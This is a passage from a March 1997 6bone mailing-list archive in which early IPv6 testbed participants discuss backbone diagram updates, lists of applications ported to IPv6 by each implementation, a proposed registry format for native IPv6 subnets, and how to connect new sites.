tunnel:		158.43.133.254 194.226.128.99	KIT/KZ static operational
tunnel:		158.43.133.254 152.78.65.209	USOT-ECS/UK static operational
tunnel:		158.43.133.254 194.80.33.20	ULANC/UK RIPng operational
contact:        IPv6 operations <ipv6@uunet.pipex.com>
status:         operational since 20-Feb-97
remark:         DNS operational for forward (ip6.pipex.net) and reverse
remark:		zones
remark:		http://swannee.ip6.pipex.net:81/index.html
remark:		Willing to add tunnels on request
changed:        Guy.Davies@uunet.pipex.com 970313
source:         RIPE


Finally, plans are afoot with various UK organisations (incl. IFB and
USOT-ECS) to finally get the UK connectivity into shape.  We're kind of
waiting for the murmurings from UKERNA/JANET to get a bit louder ;-) 

Regards,

Guy


From majordom@ISI.EDU  Fri Mar 14 03:34:52 1997
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New 6bone backbone links drawing is now up (Version 6).  Lot's of changes!

I'll try to get the new site diagram up later today.


Bob



From majordom@ISI.EDU  Fri Mar 14 09:29:05 1997
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Date: Fri, 14 Mar 1997 17:29:05 -0800
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram version 55
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I've just put up a new 6bone diagram (version 55) with lots of changes.

As I was pushed to finish it today, I haven't made the site names hot links
and won't until Monday.  The b/b links button is still hot though.

As usual, I've made some value judgements on what b/b to connect to some
sites.  If you object to anything, please let me know.


The old picture is still available as:

	http://www-6bone.lbl.gov/6bone/6bone-drawingv54.html


Thanks,

Bob



From majordom@ISI.EDU  Mon Mar 17 10:28:10 1997
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From: "Gils van, Jan" <jang@sps.nl>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: IPv6 reservations ?
Date: Mon, 17 Mar 1997 09:28:10 +0100
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Hi,


Thanks for reading, I am wondering the following :

In the IPv4 reservations is number 44.x.x.x reserved for radio amateurs
so they can
experiment with wireless data communication.

Are there also reservations or agreements for IPv6 numbers for radio
amateurs.

By asking this question I am also wondering if there are any developers
out there
who are already building IPv6 stacks in NOS versions.


I hope to hear from someone....


Jan H. van Gils e-Mail janvg@knoware.nl / pe1mhp@amsat.org

 ___________________________________________________________________
 Jan H. van Gils               |    Software Productivity Solutions
 jang@sps.nl                   |    P.O. box 92 2810 AB Reeuwijk
 +31 (0)182-396866             |    Fokkerstraat 16 2811 ER Reeuwijk
 -------------------------------------------------------------------


From majordom@ISI.EDU  Mon Mar 17 11:35:07 1997
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From: Carlos Picoto <carlos.picoto@di.fc.ul.pt>
To: "'Gils van, Jan'" <jang@sps.nl>, "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: IPv6 reservations ?
Date: Mon, 17 Mar 1997 11:35:07 -0000
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Jan,


Jan>In the IPv4 reservations is number 44.x.x.x reserved for radio amateurs
Jan>so they can
Jan>experiment with wireless data communication.
Jan>
Jan>Are there also reservations or agreements for IPv6 numbers for radio
Jan>amateurs.

I would use ::44.x.x.x  IPv6 addresses for that purpose.

Jan>
Jan>By asking this question I am also wondering if there are any developers
Jan>out there
Jan>who are already building IPv6 stacks in NOS versions.

A Linux box would do the same.

./Carlos Picoto
University of Lisbon
CT1DYE / ::44.158.13.1

From majordom@ISI.EDU  Mon Mar 17 03:44:42 1997
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
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--1484945164-1553613669-858613482=:464
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From majordom@ISI.EDU  Mon Mar 17 03:04:02 1997
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New 6bone b/b links diagram (version 7) showing a few more RIPng links for
UUNET/UK.


Bob



From majordom@ISI.EDU  Mon Mar 17 05:26:06 1997
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: list of IPv6 applications?
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Is there any list of applications converted to IPv6 to date?

If not, we should think of generating one and keeping it available thru the
6bone pages.

If anyone wants to forward me info I'll attempt one.


Thanks,

Bob



From majordom@ISI.EDU  Mon Mar 17 11:31:22 1997
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: list of IPv6 applications?
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> Is there any list of applications converted to IPv6 to date?

Do you want to list what each implementor is shipping with their
early test code?  Or are you only asking what's been done outside of
IPv6 stack development?

> If anyone wants to forward me info I'll attempt one.

Mostly I'm using Solaris, and it includes IPv6 versions of

telnet, ftp, tftp, finger (client and server)
Berkeley r-commands (client and server)
inetd, sendmail
mosaic, httpd
nslookup, named

From majordom@ISI.EDU  Mon Mar 17 14:30:46 1997
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From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: list of IPv6 applications?
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Perhaps, in addition to that, a list of services available on the 6bone.
From the user perspective, once on the 6bone, there's not all that much "to
do".


Jimmy

At 4:26 PM -0500 3/17/97, Bob Fink LBNL wrote:
>Is there any list of applications converted to IPv6 to date?
>
>If not, we should think of generating one and keeping it available thru the
>6bone pages.
>
>If anyone wants to forward me info I'll attempt one.
>
>
>Thanks,
>
>Bob



From majordom@ISI.EDU  Mon Mar 17 09:26:16 1997
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From: Jong Kann <kann@CS.UCLA.EDU>
Message-Id: <199703180126.RAA03762@dew>
Subject: Re: list of IPv6 applications? 
To: 6bone@isi.edu
Date: Mon, 17 Mar 1997 17:26:16 -0800 (PST)
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Just for your information, we have ported SDR and VAT to IPv6 in the 
UCLA Internet Research Lab.  Now they run on Solaris IPv6 and FreeBSD 
with INRIA IPv6.

Jong Kann

> > Is there any list of applications converted to IPv6 to date?
> 
> Do you want to list what each implementor is shipping with their
> early test code?  Or are you only asking what's been done outside of
> IPv6 stack development?
> 
> > If anyone wants to forward me info I'll attempt one.
> 
> Mostly I'm using Solaris, and it includes IPv6 versions of
> 
> telnet, ftp, tftp, finger (client and server)
> Berkeley r-commands (client and server)
> inetd, sendmail
> mosaic, httpd
> nslookup, named
> 


From majordom@ISI.EDU  Mon Mar 17 09:57:28 1997
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram - version 56
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New diagram has hot buttons active again, and some rehoming and a few new
sites.


Bob



From majordom@ISI.EDU  Mon Mar 17 11:02:09 1997
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new JOIN and POLITO stats pages via 6bone web page
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Have added the new POLITO and JOIN stats page pointers to the 6bone stats page:


http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/ping-list.html

http://www.ipv6.polito.it/test/history.html


Bob



From majordom@ISI.EDU  Tue Mar 18 12:53:36 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: list of IPv6 applications? 
In-Reply-To: Your message of Mon, 17 Mar 1997 13:26:06 PST.
             <v0300780baf53670bc818@[128.3.9.22]> 
Date: Tue, 18 Mar 1997 11:53:36 +0100
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 In your previous mail you wrote:

   Is there any list of applications converted to IPv6 to date?
   
   If not, we should think of generating one and keeping it available thru the
   6bone pages.
   
   If anyone wants to forward me info I'll attempt one.
   
=> there is no such list but there is a list per implementations...

Francis.Dupont@inria.fr

PS: for myself :

basic API :
	resolver library, named, named-xfer, nslookup, addr, host, ...
	rcmd/rresvport

system applications :
	ifconfig, route, arp, netstat, lsof, sysctl, ping, traceroute,

network tools :
	libpcap/tcpdump, ttcp, pppd

network clients :
	finger, ftp, telnet, tftp, rcp, rlogin, rsh, rdate

network servers :
	inetd, fingerd, ftpd, telnetd, tftpd, sendmail, rexecd, rlogind, rshd

web :
	apache, mmm, v6 (browser and proxy written in Object CAML)

TODO :	MH, NTP, Netperf, Sun RPC (including NFS), X11, GateD, vat/vic/sdr,
	....


From majordom@ISI.EDU  Tue Mar 18 11:27:45 1997
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From: Alex Clark <alex@ifb.net>
To: 6BONE Mailer <6bone@ISI.EDU>
Subject: RE: list of IPv6 applications?
Date: Tue, 18 Mar 1997 11:27:45 -0000
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Is there any list of applications converted to IPv6 to date?
If not, we should think of generating one and keeping it available thru =
the
6bone pages.

Thats a mighty fine idea, we have spent an age looking for an IPv6 web =
server and are about to embark upon the search for an IPv6 aware =
browser. Any idea if FTP's software supports IPv6 in anything except the =
stack? All the bundled applications (browser, e-mail, etc) do not =
support IPv6 as far as I know. Is this true?

Alex Clark --------------------------------------- alex@ifb.net
Business Development                         http://www.ifb.net
Internet For Business                  Tel: +44 (0) 1224 333300
387 Union Street,                      DDI: +44 (0) 1224 333333
Aberdeen, UK. AB11 6BX --------------- Fax: +44 (0) 1224 333331


From majordom@ISI.EDU  Tue Mar 18 14:22:52 1997
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Date: Tue, 18 Mar 1997 14:22:52 +0000
From: Rob Goode <goode@nc3a.nato.int>
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Dear Sirs,

please could you tell me which would be the most
appropriate attachement point to the 6bone for us.
Our provider is NL-NET in the Netherlands (Holland).

Yours sincerely,

Rob Goode
Communications Techniques Branch
Communications Systems Division
NATO C3 Agency
PO Box 174
2501 CD Den Haag
The Netherlands

Email: goode@nc3a.nato.int  Tel: +31 70-314-2442  Fax: +31 70-314-2176

From majordom@ISI.EDU  Tue Mar 18 09:58:01 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199703181958.OAA09634@ocarina.visc.vt.edu>
Subject: 6bone Routing Registry
To: 6bone@isi.edu
Date: Tue, 18 Mar 1997 14:58:01 -0500 (EST)
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Bob and I were discussion how to list internal sites, or internal nodes within
a site.  For example, VT-EE, VT-BEV, etc. are considered nodes within the 
VT IPv6 AS.  They are all under the same prefix and same regulatory 
policies.  We were in the general agreement that the registry should only list
sites as opposed to internal sites/nodes.  Thus, VT-EE would not get a
separate registry entry but can show up on the VT registry entry.  However, 
there's some merit to having separate entries, so I'm putting this out for 
comments.  Bob, feel free to step in anytime you want. :)

Additionally, I'm expecting to get some native IPv6 routed subnets up for 
testing and there appears to be no way to designate this in the current RIPE 
registry format.  First off, there is some question of whether or not to even 
designate this.  Assuming that we want to designate it, which I would think 
that we would, then, I would think that the format needs to be the same as the 
tunnel designation.  Thus, I would proposed the following.

native:   [iif addr] [oif addr] [other site] [rp type] [status] {type}

where:

iif ipv4 - Address of the routed subnet for the router's input interface address
oif ipv4 - Address of the routed subnet for the outgoing interface
    site - Outgoing interface site name
 rp type - Routing protocol type.  RIPng, static, etc.
  status - One of the following:
           oper/u "operational" status and link up
           oper/d "operational" status (or was ;) and link down
           expr/u "experimental" status and link up
           expr/d "experimental" status and link down
    type - Optional field of the format XY, where X is one of:
           u - feed to a upstream site
           d - feed to a downstream site (which may or may not be a leaf)
           t - feed to a "lateral" transit site (e.g., other backbone)
           l - feed to a downstream leaf site
           And Y is a number from 1 to 9, where 1 designates a primary
           feed, 2 designates a secondary feed, and so forth. 

An example of a machine with two interfaces would be:

native:	128.173.88.118 128.173.89.100 VT-EE-NETLAB RIPng expr/u l1

I was also thinking of including the routed subnet's IPv6 prefix but I think
that's unnecessary information.  The going assumption is that the routed
subnet's prefix is some portion of the destination site's prefix.  I would 
also advocate that internal sites/nodes be listing according to the format 

	[registry entry]-[internal name]

I would note that if we start to match the production IPv4 network, then
we'll have many of these native entries.  When (and not if ;) we get to that 
point, I would propose that we only list the border router(s) for the native 
routed site.  One of the justifications for having native routed nodes listed 
now is for people to see how many of these we actually have.  This gives us an
idea of penetration and can also be used on a marketing side.  When we
have a significant amount of sites that are native routed, the technical
information need is reduced and we also have a much different and stronger 
selling point on IPv6 rollout.

The only thing that differs from standard practice is the feed type.  
I believe that the feed type information will help people get a better 
understanding of how a site is connected.

I would, naturally, advocate that the tunnel registry information 
(http://www-cnr.lbl.gov/6bone/6bone-register.html) be changed to 
1) reflect standard convention and 2) include the proposed feed type
information.  Thus, the format should be:

tunnel:   [source addr] [dest iaddr] [site] [rp type] [status] {type}

Regards,
DCL

-- 
David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111

From majordom@ISI.EDU  Tue Mar 18 05:52:15 1997
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In-Reply-To: <199703181958.OAA09634@ocarina.visc.vt.edu> from "David Lee" at Mar 18, 97 02:58:01 pm
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Interesting...  I've been batting around an alternative method and have David 
Kessens interest.  The trick is to encode the keywords in the DNS and then
walk the ip6.int tree to collect the required data.    

This scheme has the advantage that the delegation and SOA can be signed to
authenticate legitimate heirarchy. The other big win is that the data is
kept locally, hence improving its accuracy.

I hope to have more to say on this in Memphis.

 
--bill

From majordom@ISI.EDU  Wed Mar 19 00:22:18 1997
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From: Guy Davies <guyd@uunet.pipex.com>
To: David Lee <dlee@visc.vt.edu>
Cc: 6bone@isi.edu
Subject: Re: 6bone Routing Registry
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On Tue, 18 Mar 1997, David Lee wrote:

> Additionally, I'm expecting to get some native IPv6 routed subnets up for 
> testing and there appears to be no way to designate this in the current RIPE 
> registry format.  First off, there is some question of whether or not to even 
> designate this.  Assuming that we want to designate it, which I would think 
> that we would, then, I would think that the format needs to be the same as the 
> tunnel designation.  Thus, I would proposed the following.
> 
> native:   [iif addr] [oif addr] [other site] [rp type] [status] {type}
> 
> where:
> 
> iif ipv4 - Address of the routed subnet for the router's input interface address
> oif ipv4 - Address of the routed subnet for the outgoing interface
>     site - Outgoing interface site name
>  rp type - Routing protocol type.  RIPng, static, etc.
>   status - One of the following:
>            oper/u "operational" status and link up
>            oper/d "operational" status (or was ;) and link down
>            expr/u "experimental" status and link up
>            expr/d "experimental" status and link down
>     type - Optional field of the format XY, where X is one of:
>            u - feed to a upstream site
>            d - feed to a downstream site (which may or may not be a leaf)
>            t - feed to a "lateral" transit site (e.g., other backbone)
>            l - feed to a downstream leaf site
>
>            And Y is a number from 1 to 9, where 1 designates a primary
>            feed, 2 designates a secondary feed, and so forth. 
> 
> An example of a machine with two interfaces would be:
> 
> native:	128.173.88.118 128.173.89.100 VT-EE-NETLAB RIPng expr/u l1

Hi David,

Err, Looking at your proposal, I don't understand how this gives any
information about a native IPv6 subnet.  It seems to be more appropriate
for a host/router rather than a subnet.  This may be a useful attribute in
it's own right but I'm not sure it does what you said you wanted.  Surely,
something along the following lines would prove more useful... 

native: [prefix] [rtr-id] [sn-name] [net-type] [rp-type] [status] {type}

...where...

[prefix]	is the routed IPv6 subnet (which may be covered in the 
		global routing tables by a larger announcement)
[rtr-id]	is the id (ipv6|ipv4|hostname?) of the inbound i/f of 
		the router via which this subnet can be reached.  I think
		given that this is native IPv6, my choice would be the
		IPv6 address of the i/f.
[sn-name] 	is the subnet name formed as described below by David
[net-type] 	is the underlying network type (eth|ppp|tr|atm|....)
[rp-type]	is the routing protocol (ripng|idrpv6|static|....)
[status] 	is the link status as described by David
{type} 		is the link type as described by David.  On multicast 
		type media, this may need to be extensible to cover 
		several 'peering' types (e.g. you may run IPv6 across
		an ethernet on which you have peerings to transit
		sites, leaf nodes, to upstream nodes and to downstream
		nodes - I'm thinking of something like a NAP here)

This would give a better idea of the propagation of native IPv6 subnets
and far more info about the subnet (possible number of connected hosts,
use of particular network types, routing protocol used, etc)

This, IMHO, maps more closely onto the tunnel attribute already defined in
the ip6rr object and represents the subnet.

> I was also thinking of including the routed subnet's IPv6 prefix but I think
> that's unnecessary information.  The going assumption is that the routed
> subnet's prefix is some portion of the destination site's prefix.  

This is most likely true but (in the case of an organisation with multiple
ASes) is not guaranteed.  There is, as stated above, some useful info in
the prefix.

> I would 
> also advocate that internal sites/nodes be listing according to the format 
> 
> 	[registry entry]-[internal name]

Definitely.  This is a very good idea and kind of maps onto the concept of
OSPFs areas around area0.

> I would note that if we start to match the production IPv4 network, then
> we'll have many of these native entries.  When (and not if ;) we get to that 
> point, I would propose that we only list the border router(s) for the native 
> routed site.  One of the justifications for having native routed nodes listed 
> now is for people to see how many of these we actually have.  This gives us an
> idea of penetration and can also be used on a marketing side.  When we
> have a significant amount of sites that are native routed, the technical
> information need is reduced and we also have a much different and stronger 
> selling point on IPv6 rollout.
> 
> The only thing that differs from standard practice is the feed type.  
> I believe that the feed type information will help people get a better 
> understanding of how a site is connected.
> 
> I would, naturally, advocate that the tunnel registry information 
> (http://www-cnr.lbl.gov/6bone/6bone-register.html) be changed to 
> 1) reflect standard convention and 2) include the proposed feed type
> information.  Thus, the format should be:
> 
> tunnel:   [source addr] [dest iaddr] [site] [rp type] [status] {type}



> 
> Regards,
> DCL
> 
> -- 
> David C. Lee, EE PhD student - http://www.visc.vt.edu/~dlee - dlee@vt.edu
> PHONE: 1-540-231-8398 | FAX: 1-540-231-3362 | LOCATION: 475 Whittemore Hall
> Virginia Tech Information Systems Center, Blacksburg, Virginia 24061-0111
> 


From majordom@ISI.EDU  Tue Mar 18 08:36:10 1997
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Date: Tue, 18 Mar 1997 16:36:10 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone diagram change - version 57
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Only minor changes (no new sites) to change incorrect CN to CA coutry codes
for RISQ and ESYS.

My apologies for moving Canada half way (or so) around the world!


Bob



From majordom@ISI.EDU  Tue Mar 18 16:32:35 1997
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To: Jong Kann <kann@CS.UCLA.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: list of IPv6 applications? 
In-Reply-To: Your message of "Mon, 17 Mar 97 17:26:16 PST."
             <199703180126.RAA03762@dew> 
Date: Tue, 18 Mar 97 21:32:35 -0500
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Jong,

Also we are interested in any collaboration working with you and others
around IPv6.  What faculty department is this under?

thanks
/jim

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From: "Gils van, Jan" <jang@sps.nl>
To: "'Rob Goode'" <goode@nc3a.nato.int>, "'6bone@isi.edu'" <6bone@isi.edu>
Subject: RE: 6bone attachment point
Date: Wed, 19 Mar 1997 10:14:05 +0100
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Status: RO

Hi Rob,

After talking to NL.net they told me that 6Bone tunnels are not yet
supported by
there network. On this moment they are experimenting with tunneling and
encapsulation.

Talk to them for more information.

When you want to make a tunnel, contact Martin D. Peck (mdp@tbit.dk)


With regards Jan H. van Gils

 ___________________________________________________________________
 Jan H. van Gils               |    Software Productivity Solutions
 jang@sps.nl                   |    P.O. box 92 2810 AB Reeuwijk
 +31 (0)182-396866             |    Fokkerstraat 16 2811 ER Reeuwijk
 -------------------------------------------------------------------


>----------
>From: 	Rob Goode[SMTP:goode@nc3a.nato.int]
>Sent: 	Tuesday, March 18, 1997 3:22 PM
>To: 	6bone@isi.edu
>Cc: 	ipv6@nc3a.nato.int
>Subject: 	6bone attachment point
>
>Dear Sirs,
>
>please could you tell me which would be the most
>appropriate attachement point to the 6bone for us.
>Our provider is NL-NET in the Netherlands (Holland).
>
>Yours sincerely,
>
>Rob Goode
>Communications Techniques Branch
>Communications Systems Division
>NATO C3 Agency
>PO Box 174
>2501 CD Den Haag
>The Netherlands
>
>Email: goode@nc3a.nato.int  Tel: +31 70-314-2442  Fax: +31 70-314-2176
>

From majordom@ISI.EDU  Wed Mar 19 00:09:20 1997
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram - version 58
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new 6bone diagram:

	add UNI-KOELN/DE to JOIN/DE


Bob



From majordom@ISI.EDU  Wed Mar 19 06:56:50 1997
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From: Hsin Fang <fang@snad.ncsl.nist.gov>
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Date: Wed, 19 Mar 1997 11:56:50 -0500 (EST)
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To: RLFink@lbl.gov
Subject: Re: list of IPv6 applications?
Cc: 6bone@ISI.EDU
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Status: RO


Hi Bob:

From the quick analysis of the various implementations used in our testbed, 
Status: RO

we have come up the following list (it may not be the most updated version 
but is up to the current version which we are running):


     INRIA : (source code available)
          OS: NetBSD/FreeBSD 
          Platform : SUN workstation.
          Major Functions
             Icmpv6
             IPv6 address manual/auto configuration
             IPv6 security implementation DES, MD5 and SHA 
                 (need special permission to get the code)
             IPv6 support for FDDI
             IPv6 support for MULTICAST
             IPv6 path MTU discovery 
             IPv6 address mapping
             IPv6 dynamic/static  routing 
             IPv6/V4 tunneling
             point-to-point SIT interfaces with multicast (for RIPv6)
             ndp6
             IPv6 libpcap
             IPv6 key management
             RIPv6
          Apps:
             IPv6 ttcp 
             IPv6 multicast 
             neighbor discovery utilities 
             route support for IPv6
             IPv6 ifconfig
             IPv6 autoconfig
             IPv6 netstat
             IPv6 sendmail
             IPv6 Telenet/telnetd
             inetd support for IPv6
             IPv6 tcpdump
             IPv6 ping/traceroute
             IPv6 rlogin
             IPv6 finger/fingerd
             IPv6 arp
             IPv6 http server/client
             IPv6 ftp/ftpd
             IPv6 tftp/tftpd
             IPv6 gated
             IPv6 nslookup 

     NRL   : (source code available)
          OS: BSDi
          Platform : PC 486+
          Major Functions:
             IPv6 security implementations
             Key management API
	     basic IPv6 functions
          Apps:
             IPv6 ttcp 
             IPv6 multicast 
             neighbor discovery utilities 
             route support for IPv6
             IPv6 ifconfig
             IPv6 netstat
             IPv6 Telenet/telnetd
             inetd support for IPv6
             IPv6 tcpdump
             IPv6 ping/traceroute
             IPv6 rlogin
             IPv6 finger/fingerd
             IPv6 ftp/ftpd
             IPv6 tftp/tftpd
            
     SUN   : (binary code only)
          OS: Solaris
          Platform : SUN workstation.
          Major Functions:
            IPv6 unicast and multicast 
            IPv6 packet forwarding 
            IPv6 path MTU discovery 
            ICMP6 error processing and generation 
            IPv6 Address resolution 
            Router discovery 
            IPv6 Neighbor Unreachability Detection 
            Prefix discovery with invalid lifetimes 
            IPv6 Stateless address autoconf
            Duplicate address detection 
            RIPng in in.routed6 
          Apps: (for IPv6)
            finger and in.fingerd 
            getent 
            inetd support for IPv6
            telnet server and client 
            ftp/ftpd
            tftp/tftpd
            sendmail 
            NCSA httpd server 
            NCSA Mosaic browser
            rlogin
            rsh
            netstat support for IPv6
            snoop
            ping
            IPv6 ifconfig
            nslookup
            NDS support for AAAA record

     LINUX : (source code available)
          OS: LINUX
          Platform : PC 486+
          Functions: (for IPv6)
            forwarding
            address  manual/auto configuration
            neighbor discovery
            static routing
            RIPng - MERIT
            Router Advertisement
            multicast
            Icmpv6
            IPv6/V4 tunneling
          Apps: (for IPv6)
            arp 
            ifconfig
            netstat
            route
            rarp
            finger+fingerd
            ftp+ftpd
            inetd
            tcpdump
            tftp+tftpd
            traceroute
            sendmail
            qpopper
            ping

          
     FTP   : (binary code only) 
          OS: Window95
          Platform : PC 486+
          Major Functions:
            Support IPv6 client functions
          

     DEC   : (binary code only)
	Platform : DEC hub ONE router
        Major Functions:
          ICMPV6 
          Neighbor Discovery 
          IPv6 packets  forwarding 
          IPv6/v4 static and automatic tunnels 
	  IPv6 router advertisement
          RIPv6
          PPP for IPv6 
          Support IPv4 tunnel discovery between RIPv6
          IPv6 address manual/auto configuration
          IPv6 ping
          traceroute
          IPv6 Dump routes

     BAYNetworks : (binary code only)
	Platform : BayNetworks ASN router
        Major Functions:
          IPv6 forwarding including forwarding of source routed packets 
               IPv6 Neighbor Discovery 
          IPv6 ICMP 
          IPv6 Stateless Autoconfiguration 
          Full Support of IPv4-to-IPv6 transition Mechanisms 
          Configured Static IPv6-in-IPv4 Tunnels 
          Automatic IPv6-in-IPv4 Tunnels 
          IPv6-in-IPv6 Tunnels 
          Path MTU Discovery 
          RIPng: Dynamic IPv6 routing using RIP 
          IPv6 Static Routes 
          IPv6 over PPP 
          IPv6 traffic filtering 
          IPv6 MIB 
          IPv6 Address manual/auto configuration
          IPv6 route
          RIP6
          IPv6 ping
          IPv6 router advertisement
          Status:
            
     Telebit : (binary code only)
	Platform : Telebit router
        Major Functions:
	  IPv6 ICMP
	  IPv6 Stateless address configuration
	  IPv6/IPv4 packet filtering and accounting
          IPv6 ping 
          IPv6 traceroute
          ND
          IDRPv6
          IPv6/V4 static tunneling
          SNMP support for IPv6


Regards,
Hsin

From majordom@ISI.EDU  Wed Mar 19 01:05:28 1997
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Date: Wed, 19 Mar 1997 09:05:28 -0800
To: Hsin Fang <fang@snad.ncsl.nist.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: list of IPv6 applications?
Cc: 6bone@ISI.EDU, robbie@mindspring.com
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Status: RO

Hsin,

Thanks for the list.  Robbie Honerkamp is putting together a first draft
web page to handle this info and it will be great to have a start with some
real data.

We will post it to the mailer as soon as we are ready, then everyone can
comment and add to it.


Thanks,

Bob

==========================================
At 8:56 AM -0800 3/19/97, Hsin Fang wrote:
>Hi Bob:
>
>From the quick analysis of the various implementations used in our testbed,
>we have come up the following list (it may not be the most updated version
>but is up to the current version which we are running):
>
>
>     INRIA : (source code available)
>          OS: NetBSD/FreeBSD
>          Platform : SUN workstation.
>          Major Functions
>             Icmpv6
>             IPv6 address manual/auto configuration
>             IPv6 security implementation DES, MD5 and SHA
>                 (need special permission to get the code)
>             IPv6 support for FDDI
>             IPv6 support for MULTICAST
>             IPv6 path MTU discovery
>             IPv6 address mapping
>             IPv6 dynamic/static  routing
>             IPv6/V4 tunneling
>             point-to-point SIT interfaces with multicast (for RIPv6)
>             ndp6
>             IPv6 libpcap
>             IPv6 key management
>             RIPv6
>          Apps:
>             IPv6 ttcp
>             IPv6 multicast
>             neighbor discovery utilities
>             route support for IPv6
>             IPv6 ifconfig
>             IPv6 autoconfig
>             IPv6 netstat
>             IPv6 sendmail
>             IPv6 Telenet/telnetd
>             inetd support for IPv6
>             IPv6 tcpdump
>             IPv6 ping/traceroute
>             IPv6 rlogin
>             IPv6 finger/fingerd
>             IPv6 arp
>             IPv6 http server/client
>             IPv6 ftp/ftpd
>             IPv6 tftp/tftpd
>             IPv6 gated
>             IPv6 nslookup
>
>     NRL   : (source code available)
>          OS: BSDi
>          Platform : PC 486+
>          Major Functions:
>             IPv6 security implementations
>             Key management API
>	     basic IPv6 functions
>          Apps:
>             IPv6 ttcp
>             IPv6 multicast
>             neighbor discovery utilities
>             route support for IPv6
>             IPv6 ifconfig
>             IPv6 netstat
>             IPv6 Telenet/telnetd
>             inetd support for IPv6
>             IPv6 tcpdump
>             IPv6 ping/traceroute
>             IPv6 rlogin
>             IPv6 finger/fingerd
>             IPv6 ftp/ftpd
>             IPv6 tftp/tftpd
>
>     SUN   : (binary code only)
>          OS: Solaris
>          Platform : SUN workstation.
>          Major Functions:
>            IPv6 unicast and multicast
>            IPv6 packet forwarding
>            IPv6 path MTU discovery
>            ICMP6 error processing and generation
>            IPv6 Address resolution
>            Router discovery
>            IPv6 Neighbor Unreachability Detection
>            Prefix discovery with invalid lifetimes
>            IPv6 Stateless address autoconf
>            Duplicate address detection
>            RIPng in in.routed6
>          Apps: (for IPv6)
>            finger and in.fingerd
>            getent
>            inetd support for IPv6
>            telnet server and client
>            ftp/ftpd
>            tftp/tftpd
>            sendmail
>            NCSA httpd server
>            NCSA Mosaic browser
>            rlogin
>            rsh
>            netstat support for IPv6
>            snoop
>            ping
>            IPv6 ifconfig
>            nslookup
>            NDS support for AAAA record
>
>     LINUX : (source code available)
>          OS: LINUX
>          Platform : PC 486+
>          Functions: (for IPv6)
>            forwarding
>            address  manual/auto configuration
>            neighbor discovery
>            static routing
>            RIPng - MERIT
>            Router Advertisement
>            multicast
>            Icmpv6
>            IPv6/V4 tunneling
>          Apps: (for IPv6)
>            arp
>            ifconfig
>            netstat
>            route
>            rarp
>            finger+fingerd
>            ftp+ftpd
>            inetd
>            tcpdump
>            tftp+tftpd
>            traceroute
>            sendmail
>            qpopper
>            ping
>
>
>     FTP   : (binary code only)
>          OS: Window95
>          Platform : PC 486+
>          Major Functions:
>            Support IPv6 client functions
>
>
>     DEC   : (binary code only)
>	Platform : DEC hub ONE router
>        Major Functions:
>          ICMPV6
>          Neighbor Discovery
>          IPv6 packets  forwarding
>          IPv6/v4 static and automatic tunnels
>	  IPv6 router advertisement
>          RIPv6
>          PPP for IPv6
>          Support IPv4 tunnel discovery between RIPv6
>          IPv6 address manual/auto configuration
>          IPv6 ping
>          traceroute
>          IPv6 Dump routes
>
>     BAYNetworks : (binary code only)
>	Platform : BayNetworks ASN router
>        Major Functions:
>          IPv6 forwarding including forwarding of source routed packets
>               IPv6 Neighbor Discovery
>          IPv6 ICMP
>          IPv6 Stateless Autoconfiguration
>          Full Support of IPv4-to-IPv6 transition Mechanisms
>          Configured Static IPv6-in-IPv4 Tunnels
>          Automatic IPv6-in-IPv4 Tunnels
>          IPv6-in-IPv6 Tunnels
>          Path MTU Discovery
>          RIPng: Dynamic IPv6 routing using RIP
>          IPv6 Static Routes
>          IPv6 over PPP
>          IPv6 traffic filtering
>          IPv6 MIB
>          IPv6 Address manual/auto configuration
>          IPv6 route
>          RIP6
>          IPv6 ping
>          IPv6 router advertisement
>          Status:
>
>     Telebit : (binary code only)
>	Platform : Telebit router
>        Major Functions:
>	  IPv6 ICMP
>	  IPv6 Stateless address configuration
>	  IPv6/IPv4 packet filtering and accounting
>          IPv6 ping
>          IPv6 traceroute
>          ND
>          IDRPv6
>          IPv6/V4 static tunneling
>          SNMP support for IPv6
>
>
>Regards,
>Hsin




From majordom@ISI.EDU  Wed Mar 19 01:56:30 1997
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References: <v0300780aaf55cc975716@[128.3.9.22]> from "Bob Fink LBNL" at
 Mar 19, 97 09:05:28 am
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Date: Wed, 19 Mar 1997 09:56:30 -0800
To: bmanning@ISI.EDU
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: list of IPv6 applications?
Cc: 6bone@ISI.EDU
Sender: owner-6bone@ISI.EDU
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Status: RO

At 9:48 AM -0800 3/19/97, bmanning@ISI.EDU wrote:
>I think that there is a notable exception to this list..  I understand that
>cisco has working binary code for their routing platforms.


You sure are right...many of us run it!


Thanks,

Bob



From majordom@ISI.EDU  Wed Mar 19 01:48:26 1997
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Subject: Re: list of IPv6 applications?
To: RLFink@lbl.gov (Bob Fink LBNL)
Date: Wed, 19 Mar 1997 09:48:26 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <v0300780aaf55cc975716@[128.3.9.22]> from "Bob Fink LBNL" at Mar 19, 97 09:05:28 am
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I think that there is a notable exception to this list..  I understand that
cisco has working binary code for their routing platforms.


-- 
--bill

From majordom@ISI.EDU  Wed Mar 19 08:37:50 1997
